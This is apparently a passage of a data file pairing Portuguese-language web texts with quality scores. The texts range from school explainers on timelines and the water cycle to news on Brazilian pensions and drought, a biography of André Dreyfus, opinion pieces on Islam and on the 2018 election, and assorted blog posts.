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+E para finalizar, pense: como a linha do tempo te ajuda a entender o mundo de hoje? Será que os eventos do passado ainda influenciam nossas vidas? A história está sempre em movimento, e a linha do tempo nos ajuda a acompanhar essa jornada fascinante!",História,Linha do tempo,anos finais (6º ao 9º ano),"O texto introduz o conceito de linha do tempo de forma clara e envolvente, utilizando analogias e exemplos práticos (quebra-cabeça, história pessoal). Explica a importância da linha do tempo para a organização de eventos históricos e sua aplicação no entendimento do desenvolvimento do Brasil. O texto também incentiva a criação de linhas do tempo pessoais e históricas, promovendo o aprendizado divertido e a compreensão das relações entre eventos. A linguagem é acessível e adequada para o ensino fundamental, sem informações complexas.",5,1.0
+"Primeiro fundo fechado de servidores públicos criado no País, a Fundação de Previdência Complementar do Estado de São Paulo (SP-Prevcom) vai agora brigar para gerir a aposentadoria complementar dos servidores da cidade de São Paulo.
+Num mercado que pode vir a ser aberto para os grandes bancos, caso a proposta de reforma da Previdência seja aprovada pelo Congresso, a SP-Prevcom quer abocanhar também a gestão de previdência complementar de municípios de dentro e fora do Estado. Também está no radar da fundação a gestão da previdência complementar de Estados menores.
+O presidente da SP-Prevcom, Carlos Henrique Flory, disse ao jornal O Estado de S. Paulo e ao Broadcast (serviço de notícias em tempo real da Agência Estado) que as conversas com o município de São Paulo estão avançadas. Se o texto da reforma for aprovado do jeito que está, a concorrência poderá ser feita por meio de licitação também com as entidades abertas de previdência complementar, administradas por grandes instituições financeiras.
+Flory diz que não tem medo da concorrência e lembra que a fundação não tem fins lucrativos e, portanto, pode oferecer taxas de administração menores. ""Não temos nenhum problema de concorrer com as abertas. Temos um limite de taxa de no máximo 1%. As abertas trabalham com 3% e 4%"", diz.
+A SP-Prevcom tem hoje cerca de 20 mil participantes e patrimônio de R$ 670 milhões - superior ao do Funpresp, a previdência complementar dos servidores da União.
+Um fundo multipatrocinado para reunir a previdência complementar de vários municípios do Estado está prestes a ser criado. ""Existem muitos municípios que têm poucos servidores que ganham acima do teto. Vamos juntar tudo num fundo.""
+O Estado de São Paulo já aprovou uma lei permitindo que a fundação faça a gestão da aposentadoria de Estados e municípios. Para Flory, daqui a 40 anos os fundos dos servidores serão maiores dos que os estatais, como a Previ, do BB.
+Já há um projeto de lei que tramita na Câmara dos Deputados para permitir que Estados, Distrito Federal e municípios ""contratem"" o Fundo de Previdência Complementar do Servidor Público Federal do Executivo (Funpresp-Exe) para administrar seus benefícios.
+A ideia é permitir que mesmo locais menores, onde a criação e manutenção de um fundo próprio não é viável, tenham um plano de previdência complementar. Mas a abertura da gestão para a iniciativa privada pode retirar fatia desse mercado do Funpresp. As informações são do jornal O Estado de S. Paulo.",original,original,original,original,2,0.4
+"Seu irmão é muito fofo, ficou um ""caipira"" estiloso demais rsrs.
+Adorei suas fotos, ficaram tão naturais!!!!
+Lindaaa! E essa scarf maravilhosa??? Comprei uma parecida, não vejo a hora de chegar!!!",original,original,original,original,0,0.0
+"Já parou para pensar de onde vem a água que você bebe, que lava seus alimentos e que mata a sede das plantas? A água está sempre em movimento, em um ciclo infinito que chamamos de ciclo hidrológico, ou ciclo da água. É como uma grande dança, onde a água muda de forma e lugar, garantindo a vida no nosso planeta. 
+
+Imagine o sol brilhando forte. Ele aquece a água dos rios, lagos, oceanos e até mesmo a água presente no solo e nas plantas. Essa água, ao ser aquecida, se transforma em vapor, um processo que chamamos de evaporação. É como quando você ferve água em uma panela e vê a fumacinha subindo: essa fumacinha é o vapor de água. As plantas também participam desse processo, liberando água para a atmosfera através da transpiração. 
+
+Esse vapor de água sobe para a atmosfera, onde a temperatura é mais baixa. Lá em cima, o vapor se resfria e se transforma em gotículas de água ou cristais de gelo, formando as nuvens. Esse processo se chama condensação. Pense em quando você toma um banho quente e o espelho do banheiro fica embaçado: o vapor da água quente se condensa no espelho frio. 
+
+Quando as gotículas de água nas nuvens ficam pesadas demais, elas caem de volta para a Terra em forma de chuva, neve ou granizo. Essa é a precipitação. A chuva que cai nos rios e lagos volta a fazer parte do ciclo, evaporando novamente. Parte da água que cai no solo é absorvida pelas plantas, outra parte se infiltra no solo, alimentando os lençóis freáticos, que são como grandes rios subterrâneos. Essa água subterrânea pode emergir em nascentes, formando novos rios, ou ser utilizada por nós através de poços. 
+
+Entender o ciclo da água é fundamental para cuidarmos do nosso planeta. A poluição da água, o desmatamento e as mudanças climáticas podem afetar esse ciclo, causando secas, enchentes e outros problemas ambientais. Por isso, é importante economizarmos água, cuidarmos das nossas florestas e buscarmos alternativas de energia limpa. 
+
+Agora, pense um pouco: o que aconteceria se o sol parasse de brilhar? Como isso afetaria o ciclo da água e a vida no planeta? E o que podemos fazer no nosso dia a dia para ajudar a preservar a água e garantir que ela continue a dançar nesse ciclo infinito?",Ciências,Fenômenos naturais,anos finais (6º ao 9º ano),"O texto explica o ciclo da água de forma clara e acessível, utilizando analogias e exemplos cotidianos para facilitar a compreensão. Aborda a importância do ciclo para o planeta e as consequências de sua alteração. As perguntas ao final incentivam a reflexão e a ação. É adequado para o ensino fundamental, promovendo um aprendizado estruturado e valioso.",5,1.0
+"Eder Silva †: O que é o Islamismo?
+Impressionado pela desunião dos homens entre si, mortificava-se e rezava nas montanhas. Diz ele que, certa vez, na ""Noite do Destino"", teve uma visão: em sonho, um estranho personagem lhe deu um livro (rolo), o Corão ou Alcorão. Ele, então, sentiu que Deus lhe dava a missão de reformar as crenças, pôr termo à idolatria e às disputas religiosas do povo árabe, indicando a todos o caminho do céu. Diz ele que julgava-se perseguido por espíritos, quando, certa vez, a estranha voz lhe declarou: ""Sou o anjo Gabriel e tu serás o apóstolo do Senhor"".
+Daí para frente, pôs-se a pregar nova forma de religião: o ""Islã"" ou, em árabe, a Submissão, Dedicação à Vontade de Deus. Maomé apoiava-se na fé em um só Deus, Alá, criticando os cultos pagãos. Isso irritou a aristocracia de Meca, que o perseguiu. Transferiu-se, então, para a cidade de Medina na noite de 16 de julho de 622. Esse acontecimento ficou com o nome de Hidjra ou Hegira, Fuga, e marca o início da era maometana.
+Em Medina, Maomé, apoiado pela população, fortaleceu-se e agrupou adeptos. Em 629, conseguiu entrar em Meca e tomou posse do famoso santuário desta cidade, ""a Caaba"", donde removeu os ídolos. Nos anos seguintes, foi dilatando o seu poder mediante guerras. Em 08 de junho de 632, morreu; mas já tinha conseguido unir os árabes e lançá-los, unidos, à conquista de numerosas nações com a prática da ""guerra santa"", Jihah, em nome de Alá.
+As fontes doutrinárias do Islã são o código sagrado do Corão (em Árabe, recitação, declamação, recitado no culto) e a tradição oral dita Sunna. É uma religião monoteísta, reconhece um só Deus Criador, derivado do monoteísmo judaico-cristão. Maomé nunca se apresentou como o fundador de uma religião nova, e sim como o novo profeta de tradições mais antigas. A sua teologia é proveniente da antiga religião árabe, a religião israelita, professada por judeus residentes na Arábia. Daí Maomé tirou a base de sua orientação religiosa: existe um só Deus, que se foi revelando aos profetas da humanidade: Adão, Abraão, Moisés, Jesus Cristo e consumou a sua revelação por meio de Maomé, o maior de todos os profetas. Ele via em Jesus Cristo não o Filho de Deus feito homem, mas um profeta eminente. E tomou alguns dados do Cristianismo que conheceu em suas viagens. Venerava a Virgem Maria, ""a única mulher que não foi tocada pelo demônio"", diz o Corão.
+Maomé se definiu como o continuador da religião de Abraão e de seu filho Ismael ( o povo árabe é descendente de Ismael, filho de Abraão e Agar). Para justificar sua independência religiosa, Maomé atribuiu a judeus e cristãos ""o grande erro de terem falsificado os livros sagrados e o monoteísmo de Abraão e Ismael"".
+O Corão autoriza todo homem a ter quatro esposas legítimas e tantas concubinas escravas quantas seus recursos financeiros lhe permitam. O conceito de guerra santa é central no Islamismo e foi responsável pela rápida propagação árabe nos séculos VII e VIII; morrer em batalha armada torna o maometano ""mártir"", ou seja, herói religioso. Aceitam a ""predestinação"", que marca para cada pessoa a hora da sua morte; isso muito concorreu para que os discípulos de Maomé se lançassem em guerras.
+Fonte: http://formacao.cancaonova.com/atualidade/sociedade/o-que-e-o-islamismo/",original,original,original,original,3,0.6
+"Palavras-chave Anatomia Armadillo Biodiversidade Biossegurança Cirurgia Células-Tronco Mesenquimais Diagnóstico Doença Epidemiologia Epidemiologia, Enteropatias parasitárias, Saúde Pública. Parasitologia Patologia Poluição ambiental Polímeros Propriedades químicas Resíduos sólidos Saúde Pública Saúde coletiva folículo piloso histotologia neoplasias",original,original,original,original,2,0.4
+"delegado de polícia, denúncia, indiciamento, indictment, investigação criminal, Lei 12.830, polícia, processo penal
+O chamado “indiciamento” é o registro administrativo, feito pela polícia, do nome e dos dados de identificação de alguém que, na opinião da polícia, reúne indícios de ter sido o autor do ato criminoso sob investigação.
+O Código de Processo Penal, que é a lei geral sobre a investigação e o processo criminal no Brasil, não usa a palavra “indiciamento” em nenhum momento. Usa, porém, o termo “indiciado” algumas vezes, para se referir à pessoa investigada em relação à qual há um certo conjunto de indícios.
+Tradicionalmente, integrantes da polícia, do Poder Judiciário, do Ministério Público e da imprensa têm supervalorizado o indiciamento, pois, na verdade, do ponto de vista do processo penal, esse ato nada significa. Alguém ser indiciado pelo crime “x” não significa nada quanto à acusação que o Ministério Público poderá (ou não) fazer contra ele. O indiciamento policial não gera processo, não obriga o Ministério Público (que pode denunciar outra pessoa ou ninguém) nem, muito menos, o juiz. Em outras palavras, o indiciamento não tem nenhuma consequência processual.
+Apenas com indiciamento não se pode dizer que alguém responderá por crime algum. Quem decide se acusará alguém, e por qual crime o fará, é o Ministério Público.
+O que gera a instauração de processo criminal é a denúncia do Ministério Público, se recebida pelo juiz. É com o recebimento da denúncia que se inicia o processo criminal. Se o juiz não receber a denúncia, tecnicamente ainda nem haverá processo.
+A Lei 12.830, de 20 de junho de 2013, que teve como finalidade “dispor sobre a investigação criminal conduzida pelo delegado de polícia”, mencionou o indiciamento no artigo 2.º, parágrafo 6.º Nele, estabeleceu que o indiciamento é privativo do delegado de polícia, que se dará por ato fundamentado, mediante análise técnico-jurídica do fato, e que deverá indicar a autoria, a materialidade do crime e suas circunstâncias.
+Essa norma legal não alterou em absolutamente nada a irrelevância processual do indiciamento, o qual continua a não vincular a decisão do Ministério Público a respeito da existência de justa causa para oferecer acusação nem a decisão do juiz ao admitir a acusação, por meio do recebimento da denúncia, e ao julgar o mérito da ação penal. Obviamente, a lei nem poderia pretender determinar que o indiciamento interferisse nas competências do Ministério Público e do Poder Judiciário, pois, se o fizesse, seria inconstitucional. Na verdade, a norma não tem reflexo algum sobre a eficiência da investigação criminal, mas possui apenas caráter corporativo, para satisfazer interesses das associações de delegados de polícia.
+Ao contrário do objetivo de racionalizar e elevar a eficiência da importante atividade da polícia, aquele parágrafo 6.º gerou mais um ato burocrático e desnecessário, quando impõe ao delegado perder tempo fazendo “análise técnico-jurídica” da necessidade de indiciamento, sem que isso tenha nenhuma consequência para a futura ação penal ou para as demais providências cabíveis ao final da investigação. A experiência mostra que decerto muitos delegados se empolgarão com essa oportunidade e produzirão demorados arrazoados acerca da (in)ocorrência do fato criminoso, com análise da doutrina e da jurisprudência criminais, alguns como se desejassem emular o trabalho do Ministério Público ou do Poder Judiciário. Isso não é atividade de investigação criminal nem deveria ser, jamais, a prioridade da polícia, que já possui trabalho suficiente e carências materiais e humanas difíceis de suprir mesmo no longo prazo. A criação dessa “justificativa de indiciamento” apenas drenará tempo e energia dos delegados e os afastará de seu relevante trabalho na coordenação policial da investigação de crimes. Além disso, estimulará advogados a impetrar habeas corpus e ajuizar outras ações para retardar o andamento do processo penal, com base nesses inúteis arrazoado...",original,original,original,original,4,0.8
+"Rede Rural Nacional - CM Porto realiza dois workshops com o tema da Economia Circular
+CM Porto realiza dois workshops com o tema da Economia Circular
+A Câmara Municipal do Porto encontra-se a organizar dois workshops na área da Economia Circular: Workshop CE100, no dia 15 de outubro, e o Workshop Economia de Partilha, no dia 18 de outubro. Ambas as iniciativas realizam-se no Porto Innovation Hub.
+Workshop CE100 - ver programa.
+Workshop Economia de Partilha - ver programa.",original,original,original,original,1,0.2
+"Márcio Melo: MUITO GRAVE: situação de água no Nordeste é dramática
+MUITO GRAVE: situação de água no Nordeste é dramática
+Reportagem dramática no Valor Econômico hoje mostrando quanto é difícil a situação de água no Nordeste.
+O Nordeste corre contra o tempo para enfrentar a seca. Depois de seis anos de estiagem, os reservatórios da região estão com apenas 18% da capacidade. Na Paraíba o índice não passa de 11% e em Pernambuco está abaixo de 10%. Dos 533 reservatórios da região monitorados pela Agência Nacional de Águas (ANA), 112 estão secos. As obras de transposição do Rio São Francisco já livraram quase um milhão de pessoas da ameaça de falta de água, mas o que já é ruim ainda pode piorar. “Para o ano que vem a situação pode ficar gravíssima”, diz Paulo Varella, diretor de gestão de águas da ANA.
+No Semiárido Brasileiro, que se espalha por oito Estados e Minas Gerais, a chuva de abril, considerado chuvoso na região, somada às precipitações dos meses anteriores, reduziu a área de abrangência da seca, mas não eliminou os impactos da estiagem de longo prazo. Só na Paraíba são quase 200 cidades em estado de emergência, com abastecimento por carro pipa ou racionamento. Há reservatórios secos em seis dos oito Estados.
+Além da seca, o serviço de abastecimento de água em 1.122 dos 1.135 municípios do Semiárido, que abriga mais de 22 milhões de pessoas, não garante acesso a toda a população.Pior: registra perdas de 44,87%. Muito pior: apenas 39% estão dentro dos padrões adequados ao consumo humano estabelecidos pelo Ministério da Saúde. É o que aponta o estudo “Abastecimento Urbano de Água – Panorama para o Semiárido Brasileiro”, do Instituto Nacional do Semiárido (INSA).
+Para enfrentar a seca, prefeituras aceleram programas de racionamento e governos estaduais ampliam os projetos de perfuração de poços e dessalinização da água do subsolo para atender comunidades rurais. O governo federal entregou a água do São Francisco aos portais de recebimento do Eixo Leste do Projeto de Transposição do São Francisco na Paraíba e Pernambuco, para ser levada aos reservatórios pelos governos dos dois Estados, e tenta finalizar o Eixo Norte.
+A Articulação Semiárido Brasileiro (ASA), uma rede formada por mais de três mil organizações da sociedade civil, desenvolve e executa o projeto de implantação de um milhão de cisternas. Empresas incentivam projetos inovadores de captação e produção de água potável. A Ambev formou ano passado um comitê de especialistas em segurança hídrica e lançou a AMA, uma água mineral com 100% do lucro das vendas destinados a projetos que visam aumentar o acesso à água potável no semiárido.
+O programa Água Doce, do Ministério do Meio Ambiente em parceria com governos estaduais e municipais e suporte de organizações da sociedade civil, já mapeou 3.145 comunidades em 298 municípios e estabeleceu a meta de implantar 1.357 sistemas de dessalinização com recursos de R$ 258 milhões até o ano que vem.",original,original,original,original,4,0.8
+"and or not in Any field Authorized form of name Parallel form(s) of name Other form(s) of name Dates of existence History Legal status Places General context Occupation access points Occupation access point notes Subject access points Place access points Authority record identifier Institution identifier Sources Maintenance notes
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+André Dreyfus
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+(1897-1952)
+Nascido em 1897, em Pelotas (RS), Dreyfus formou-se na Faculdade de Medicina (c. 1919) da Universidade do Brasil, atualmente denominada Universidade Federal do Rio de Janeiro (UFRJ). Fundou, em 1919, um curso particular de Histologia e Embriologia. Em 1922, já incluía aulas sobre Genética e Evolução nos seus cursos, sendo pioneiro nesses estudos em nosso país. Em 1927, foi para São Paulo onde integrou o corpo docente da USP, como assistente das matérias de Histologia e Embriologia na Faculdade de Medicina. Lá lecionou nas Faculdades de Filosofia, Ciências e Letras (FFCL), Medicina, Farmácia e Odontologia; e nas Escolas de Sociologia e Política e Paulista de Medicina.
+Quando foi criado o regime de tempo integral, fixou-se no Departamento de Biologia Geral da FFCL; depois do seu concurso para professor catedrático e da obtenção do regime de tempo integral, manteve sempre estreitos vínculos científicos e sociais com todos os laboratórios para cuja formação contribuiu. Foi diretor da FFCL por um período de quatro anos.
+Um ponto marcante para o desenvolvimento de Genética no Brasil foi a descoberta de Dreyfus pelo dr. Harry M. Miller Jr., da Fundação Rockefeller. A admiração por Dreyfus e a confiança nele depositada levou a Fundação Rockefeller a trazer para o seu laboratório, na FFCL, o professor Theodosius Dobzhansky, um dos maiores geneticistas e pensadores da Biologia, assim como a financiar a compra de equipamentos e a pesquisa do laboratório. Dreyfus, Dobzhansky, seus amigos e colegas Brieger, em Piracicaba, Krug no Instituto Agronômico de Campinas (IAC) e o dr. Harry M. Miller Jr. foram os primeiros responsáveis pelo desenvolvimento da Genética moderna no Brasil.
+Nos últimos anos de sua vida foi atormentado por problemas de saúde relacionados com pressão alta. Apesar da saúde delicada, continuou imprudentemente ativo. Dias antes de falecer, escreveu volumoso trabalho de crítica a uma danosa reforma do ensino que estava sendo projetada. Horas antes de morrer, ainda terminou a elaboração de um trabalho mostrando que a ideia de superioridade racial é geneticamente absurda. Dreyfus faleceu aos 54 anos, em São Paulo no dia 16 de fevereiro de 1952.",original,original,original,original,4,0.8
+"Transformar a dor em arte é o meu lema! Escrevo poesias e expresso sobre a saúde do ser bio-psico-socio-espiritual. A vida com mais beleza, leveza, ética e poética é o caminho do Ser Integral.
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+Cristileine Leão
+Amo buscar conhecimento, criatividade, beleza e sentido. Gosto do som dos passarinhos, da expressão das flores e acredito que escrever é tricotar a vida. Sou graduada em jornalismo, licenciada em filosofia, atualmente faço pós-graduação em Psicologia Transpessoal. Todavia, é a profundidade da poesia o que me move e comove. Agradeço por seu tempo e leitura.
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+"""Olhei para nossa forma de buscar, por meio da espiritualidade, um sentido profundo na vida”, afirma o arquiteto indiano em entrevista à Casa Vogue
+Ele se formou em 1947, ano em que a índia conquistou a independência, e decidiu viajar a Paris com o único objetivo de trabalhar ao lado de Le Corbusier. Não cultivava a ambição de se estabelecer fora de sua terra natal: queria apenas aprender muito e retornar o quanto antes para ajudar a construir a identidade da jovem nação. Foi o que ocorreu em 1954, quando recebeu a missão de coordenar os projetos desenvolvidos pelo escritório do mestre franco-suíço em Chandigarh e Ahmedabad.
+SAIBA MAIS: As mulheres que venceram o Pritzker
+Cerca de 80 mil pessoas habitam o conjunto Aranya, erguido em Indore, em 1989: pátios comunitários organizam as 6.500 moradias, o que cria uma escala interessante entre espaços públicos e semipúblicos, além de incentivar o convívio entre famílias de rendas distintas: “As classes mais humildes precisam ter acesso a um desenho adequado de habitação”, diz Doshi
+A cidade moderna de Chandigarh nasceu para servir como nova capital da província de Punjab, no norte, cujo antigo centro administrativo, Lahore, ficou em território paquistanês após a divisão da Índia, em 1947. Ela surgia aos pés do Himalaia ao mesmo tempo em que Brasília brotava no cerrado, onde outro discípulo de Le Corbusier, o nosso Oscar Niemeyer, também deixava sua marca. Os paralelos entre o modernismo brasileiro e o indiano não param por aí. Enquanto Vilanova Artigas fundava a Faculdade de Arquitetura e Urbanismo da Universidade de São Paulo (USP) e projetava seu prédio, Balkrishna Doshi concebia e construía, em 1962, a Escola de Arquitetura e Planejamento (hoje chamada CEPT, sigla para Centro de Planejamento Ambiental e Tecnologia) em Ahmedabad.
+O estúdio do arquiteto (conhecido como Sangath), construído em 1980, em Ahmedabad, mescla elementos caros à sua arquitetura: abóbodas, terraços, jardins e a presença da água – tantas atmosferas distintas se unificam por meio do uso do concreto e pela intenção de conectar o indivíduo à natureza
+Assim como os modernos brasileiros, Doshi encontrou uma trajetória própria. “Tentei achar uma linguagem que abrangesse nossa diversidade de grupos e níveis sociais. Olhei muito para nossa forma de buscar, por meio da espiritualidade, um sentido profundo na vida”, afirma em entrevista à Casa Vogue. Para ele, esse caminho passa pela relação entre espaço e luz. “Meus projetos sempre falam sobre nuances sutis. Eu articulo os ambientes para torná-los líricos, livres, abertos. Você pode habitá-los de várias maneiras”, prossegue. “Procuro criar conforto, frescor e uma consciência sobre as variações da luz, que pode ser dura, suave, acolhedora, refletida... e cada tipo tem sua qualidade.”
+Ilustração do mesmo projeto: “Usar cor nos desenhos me ajuda a distinguir os espaços”, revela Doshi, que, antes de cursar arquitetura, estudou pintura
+Doshi fala com muito orgulho sobre o plano diretor do conjunto Aranya, erguido em Indore no final dos anos 1980 como parte de uma política pública de habitação social que ele mesmo ajudou a formular. “O melhor jeito de resolver a falta de moradia digna é empoderar as pessoas. Se o Estado concede a propriedade do terreno e os serviços essenciais, elas são capazes de mobilizar recursos para fazer o resto. E isto gera esperança, pois elas começam a vislumbrar o futuro. Eu fui um catalisador desse processo”, relata.
+Agora com mais de 80 mil habitantes, o lugar é um sistema de casas conectadas por pátios e caminhos internos onde famílias de baixa e média renda convivem de um jeito fluido, sem barreiras. “Desenhei algumas casas-protótipo e os moradores foram adaptando, inventando novas soluções. Hoje, algumas unidades têm até três andares. Tudo isso significa que, se dermos oportunidade para as pessoas chegarem lá, elas chegam. Acho que essa foi a minha maior contribuição social”, conclui.
+Aos 90 anos, Doshi se envolve de forma esporádica, como co...",original,original,original,original,5,1.0
+"A Perícia Forense é uma área de atuação onde muitos que se interessaram viram na televisão os personagens desvendando mistérios e resolvendo crimes, tornando a área mais conhecida.
+Mas para atuar na área, os profissionais precisam adquirir muito conhecimento, o que não é visto na televisão.
+Caso queira seguir na profissão de Investigação Forense e Perícia Criminal, será necessário entrar em um curso superior, onde os candidatos devem estudar, em média, dois anos e meio.
+Mas dependendo da instituição que você decidir se matricular, o tempo de graduação pode variar.
+A grade curricular do curso de Perícia Forense é composta pela apresentação das leis que fazem parte da ciência forense, a aquisição do aprendizado de como elaborar perícias, pareceres e laudos e outras atividades que são exigidas neste setor de trabalho.
+Os interessados em ingressar nesse curso de graduação podem encontrá-lo nas principais instituições superiores do Brasil através dos seguintes nomes: Perícia e Genética Forense, Perícia Criminal e Biologia Forense e outros.
+O que é a Perícia Forense?
+Os profissionais da área de Investigação Forense são responsáveis por analisar e desvendar as pistas que são deixadas na cena do crime, documentação e acidentes.
+Sendo assim, os profissionais dessa área precisam estudar constantemente, assim como desenvolver novas técnicas para analisar e interpretar as cenas criminais, assim como seguir a intuição nos casos para que sejam resolvidos com eficiência.
+Existem vários fatores e procedimentos que os investigados da Perícia Forense devem seguir para reunir e analisar todas as pistas, produzir laudos e realizar outras atividades essenciais para desvendar os crimes.
+Mas é muito importante compreender que todos os investigadores criminais irão atuar na área conforme solicitação das autoridades competentes, assim como os processos judiciais que fazem parte das investigações criminais.
+Sendo assim, a investigação irá depender da autorização de advogados, juízes, policiais e outras autoridades.
+Quais conhecimentos são necessários?
+Os profissionais da área de Perícia Forense precisam possuir alguns conhecimentos básicos para seguir no ramo.
+Uma das melhores opções que um graduando da área pode fazer é seguir em uma pós-graduação e adquirir novas técnicas e conhecimento para que possa atuar melhor no mercado de trabalho.
+A pós-graduação é recomendada para os formandos em diferentes cursos, como química, biologia, fotografia e outras opções que façam parte das opções de pós do curso de Perícia Forense.
+Mas antes de seguir em uma pós-graduação, tente conversar com um profissional que já passou por ela para ter acesso a algumas dicas essenciais e maiores detalhes de como funciona.
+Isso porque, a opção é diferente conforme a instituição escolhida para graduação no curso de Perícia Forense.
+Em alguns casos, a carga horária da pós é de 360 horas, onde é necessário que o aluno siga algumas disciplinas.
+Qual é a grade curricular do curso de Investigação Forense?
+A maioria dos estudantes do curso de Investigação Forense são pessoas que já atuaram na área de segurança e desejam crescer na carreira.
+Os formandos de cursos superiores, como biologia, química, direito e outros cursos também podem se interessar em realizar esse curso.
+Ao se matricular em um curso de Investigação Forense, os graduandos seguem em uma jornada com duração mínima de 18 meses.
+O período pode variar de acordo com a instituição de ensino superior que o estudante estiver matriculado.
+As modalidades de seguir os semestres podem variar, mas as instituições normalmente oferecem a possibilidade de assistir às aulas de maneira presencial, semi-presencial ou através da EAD.
+Os estudantes devem escolher a melhor modalidade para o seu caso, analisando a disponibilidade, necessidade e locomoção.
+A carga horária e a grade curricular também podem variar de acordo com a instituição de ensino que os interessados optarem.
+Mas algumas disciplinas são comuns nos cursos de Perícia Forense d...",original,original,original,original,4,0.8
+"Geração Benfica - Escolas de Futebol: Liga Interna SLBenfica 2010 - Classificação
+Terminou a 1ª Liga Interna Escolas Futebol ""Geração Benfica"".De realçar que esta competição, tem por objectivo a participação de todos e visa, também, fazer com que todos se sintam parte deste projecto (Alunos, Pais, Treinadores,...) e que a excelente atitude positiva por parte dos dos nossos treinadores perante a competição foi fundamental para que não se criasse nos nossos alunos (e não se agudizasse nos pais dos mesmos) uma lógica muito acentuada de “campeonite”.Querer ganhar é positivo e importante mas temos de estar todos muito atentos aos princípios que regem a nossa participação. Claro que as crianças, até mais do que os adultos, querem vencer e sem dúvida que terão mais prazer e vontade de jogar se sentirem sucesso no que estão a fazer mas o sucesso não deve ser medido pelas vitórias ou derrotas mas sim pelos progressos obtidos pel criança. Cabe ao Treinador (e aos pais) incutir esse espirito nas crianças, reforçar positivamente os seus progressos e aquilo que faz bem, colocar-lhe objectivos nesse sentido (melhorar lateralidade, cooperação, atitude, percepção do jogo e as suas regras e principios,...) e nunca sobrevalorizar o resultado - vitória ou derrota.Na formação de uma criança, o resultado desportivo não pode nem deve ser prioridade! Prioritário é promover o seu correcto desenvolvimento multi-lateral (motor, pscicológico, moral, social, cognitivo,...) pois será isso que irá determinar o tipo de cidadão que essa criança representará no futuro. Obviamente que devemos acrescentar e incutir nesta formação, uma mentalidade vencedora mas sem nunca nos afastarmos do objectivo de formar. Esta mentalidade vencedora é fundamental para a criança pois para se ter sucesso na vida pessoal, profissional ou desportiva é necessário possuir uma mentalidade vencedora.A derrota tem também um papel essencial no desenvolvimento da criança pois ensina-nos a lidar com os obstáculos e com os problemas preparando-nos psicologicamente para enfrentar e superar os problemas e obstáculos que nos serão constantemente colocados, tornando-nos mais preparados e psicologicamente fortes.Queremos, mais uma vez, e acreditem que nunca é demais, agradecer:- aos nossos alunos, pelo elevado empenho, comportamento, solidariedade, dedicação, atitude e progressos demonstrados;- aos Encarregados de Educação, pelo apoio, participação e atitude demonstrados bem como por terem demonstrado alguma compreensão em relação ás limitações estruturais do Caixa Futebol Campus no que se refere às condições para quem assiste aos jogos;- aos nossos treinadores, pela dedicação e empenho, espirito de equipa, disponibilidade e altruismo demonstrados. A TODOS O NOSSO MUITO OBRIGADO! Publicada por",original,original,original,original,4,0.8
+"Diversos apoiadores do candidato que está a frente nas pesquisas que são da classe médica têm se declarado abertamente contra o PARTO HUMANIZADO. Um ginecologista que atualmente compõe a diretoria do CREMERJ, além de ser parte da SGORJ (Sociedade de GO do Rio de Janeiro), por exemplo, manifesta abertamente seu apoio a esse candidato e recentemente manifestou-se que espera apenas uma coisa do novo presidente:
+- Retirar todas as esquerdistas que estão na saúde da mulher do Ministério da Saúde há anos
+Sabe o que significa isso? As tais ""esquerdistas"" são as profissionais e os profissionais que conduziram, nos últimos anos, a maior parte das ações que levaram a conquistas importantíssimas para o movimento do parto humanizado no país. Quer saber algumas delas?
+- construção, reforma e manutenção de centros de parto normal em hospitais, em todo o país (incluindo aí equipamentos, materiais, salários etc.) - construção, reforma e manutenção de casas de parto, os chamados CPNs extra-hospitalares ou peri-hospitalares - criação das residências em enfermagem obstétrica que espalharam parteiras profissionais por todos os cantos do Brasil, incluindo o pagamento das bolsas mensais para que elas estudem e se formem - atualização das diretrizes de assistência ao parto normal que propõe a assistência humanizada ao parto, reforçando a necessidade de reduzir intervenções - publicação de diretrizes para assistência humanizada ao recém-nascido, que oficializa que se deve aguardar o cordão parar de pulsar, colocar o bebê em contato pele a pele etc. - as ações via ANS para reduzir cesáreas e estimular o parto normal nos planos de saúde, incluindo medidas como a que obriga os planos a fornecerem a taxa de cesárea dos médicos e o Projeto Parto Adequado
+Sabe o que isso significa?
+Que sem as tais ""esquerdistas"" à frente da área de saúde da Mulher do Ministério da Saúde nos últimos 5, 10 anos, muitas de nós aqui não teríamos a opção de parir no SUS, em casa de parto, não teríamos uma enfermeira obstetra para nos atender gratuitamente e mesmo para contratar (em muitos lugares elas nem existiam em número suficiente para dar conta da demanda).
+Quem é enfermeira obstetra e está por aqui, talvez não tivesse seu emprego ou nem tivesse conseguido se formar, sem as vagas e as bolsas de residência. Acho que todo mundo que está nessa área há mais tempo sabe que houve uma explosão do número de vagas para parteiras profissionais, de maternidades e CPNs pelo país em razão da Rede Cegonha, planejada, organizada e tocada pelas tais ""esquerdistas"".
+E sabe o que é pior? Esses médicos, como o tal que disse isso, eles têm poder, têm contatos. Não custa nada que um deles assuma um cargo em um eventual Ministério do candidato Bolsonaro e acabe de fato com tudo isso. Sabe por que? Porque ele, como outros médicos que fazem o mesmo tipo de coisa e dão o mesmo tipo de declaração, são CONTRA O PARTO HUMANIZADO, são CONTRA ENFERMEIRAS OBSTETRAS E OBSTETRIZES atendendo parto.
+E são contra também o parto domiciliar. O CREMERJ, instituição desse mesmo médico que já citamos, entrou recentemente com uma ação na justiça para proibir que enfermeiras obstetras atendam partos em casa. Sabe o que isso significa? Que com poder essas pessoas podem tornar de fato o PD ilegal.
+Se estamos aqui em nome de uma causa comum, o parto respeitoso, trabalhando para que ele chegue a cada vez mais gente, que as pessoas não precisem pagar, precisamos nos posicionar nessas eleições.
+Porque temos de um lado um candidato (Haddad) com uma proposta específica de programa para incentivo ao parto humanizado e que é do partido dos governos que têm, na última década pelo menos, levado a frente conquistas importantíssimas para o parto humanizado no país. Podemos ter muitas críticas ao partido, todas temos, mas a verdade é que para a política pública de incentivo ao parto humanizado, nunca se avançou tanto em tão pouco tempo.
+E de outro, temos um candidato que não tem nenhuma proposta para a humanização do parto e tem,...",original,original,original,original,3,0.6
+"O Ódio Que Você Semeia (capa do Filme)
+Diario de Um Banana - 8 Volumes (box)",original,original,original,original,2,0.4
+"Com a nostalgia própria de um tango, um grupo de fãs do rei da música platina Carlos Gardel (1890-1935) homenageou o ídolo, na última quarta-feira em Buenos Aires, nos 80 anos do aniversário de sua morte
+""Para entender o tango, a vida tem de passar por cima de você"", afirmou Mariángeles Blasco, de 70 anos, uma das muitas aposentadas que se emocionaram a ouvir os clássicos do ""zorzal criollo"" (o ""sabiá crioulo""), enquanto olhava enternecida para sua estátua rodeada de flores, fotos, cartazes e presentes dos fãs, todos na mesma faixa etária.
